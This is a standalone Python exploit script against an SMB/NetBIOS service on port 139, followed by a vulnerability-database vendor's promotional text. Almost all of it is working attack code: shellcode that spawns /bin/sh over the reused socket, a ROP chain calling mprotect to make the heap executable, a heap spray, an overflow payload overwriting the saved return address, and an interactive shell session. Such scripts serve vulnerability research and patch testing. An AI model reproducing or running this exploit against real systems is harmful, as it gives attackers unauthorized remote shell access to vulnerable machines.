#!/usr/bin/env python
import socket
import struct
import sys
import telnetlib
NETBIOS_SESSION_MESSAGE = "\x00"
NETBIOS_SESSION_REQUEST = "\x81"
NETBIOS_SESSION_FLAGS = "\x00"
# trick from http://shell-storm.org/shellcode/files/shellcode-881.php
# will place the socket file descriptor in eax
find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48"
# dup stdin-stdout-stderr so we can reuse the existing connection
dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"
# execve - cannot pass the 2nd arg as NULL or busybox will complain
execve_bin_sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# build shellcode
shellcode = find_sock_fd + dup_fds + execve_bin_sh
# rop to mprotect and make the heap executable
# the heap base is not being subject to ASLR for whatever reason, so let's take advantage of it
p = lambda x : struct.pack('I', x)
rop = ""
rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret;
rop += p(0x08072000) # ebx -> heap base
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret;
rop += p(0x14000) # ecx -> size for mprotect
rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret;
rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ | PROT_WRITE | PROT_EXEC
rop += p(0xffffffff) # edi -> gibberish
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret;
rop += p(0x0000007d) # ebp -> mprotect system call
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0) # edx -> zeroed out
rop += p(0x0) # ecx -> zeroed out
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret;
rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?) contain user controlled data
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap
offset_to_regs = 83
# we do not really care about the initial register values other than overwriting the saved ret address
ebx = p(0x45454545)
esi = p(0x45454545)
edi = p(0x45454545)
ebp = p(0x45454545)
eip = p(0x0804886c) # 0x0804886c: ret;
payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop
header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS, len(payload))
buf = header + payload
def open_connection(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 139))
return s
def store_payload(s):
print "[+] storing payload on the heap"
s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 16 + shellcode)
def crash_smb(s):
print "[+] getting code execution"
s.send(buf)
if __name__ == "__main__":
if len(sys.argv) != 2:
print "%s ip" % sys.argv[0]
sys.exit(1)
s = open_connection(sys.argv[1])
store_payload(s)
# the server closes the first connection, so we need to open another one
t = telnetlib.Telnet()
t.sock = open_connection(sys.argv[1])
crash_smb(t.sock)
print "[+] got shell?"
t.interact()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation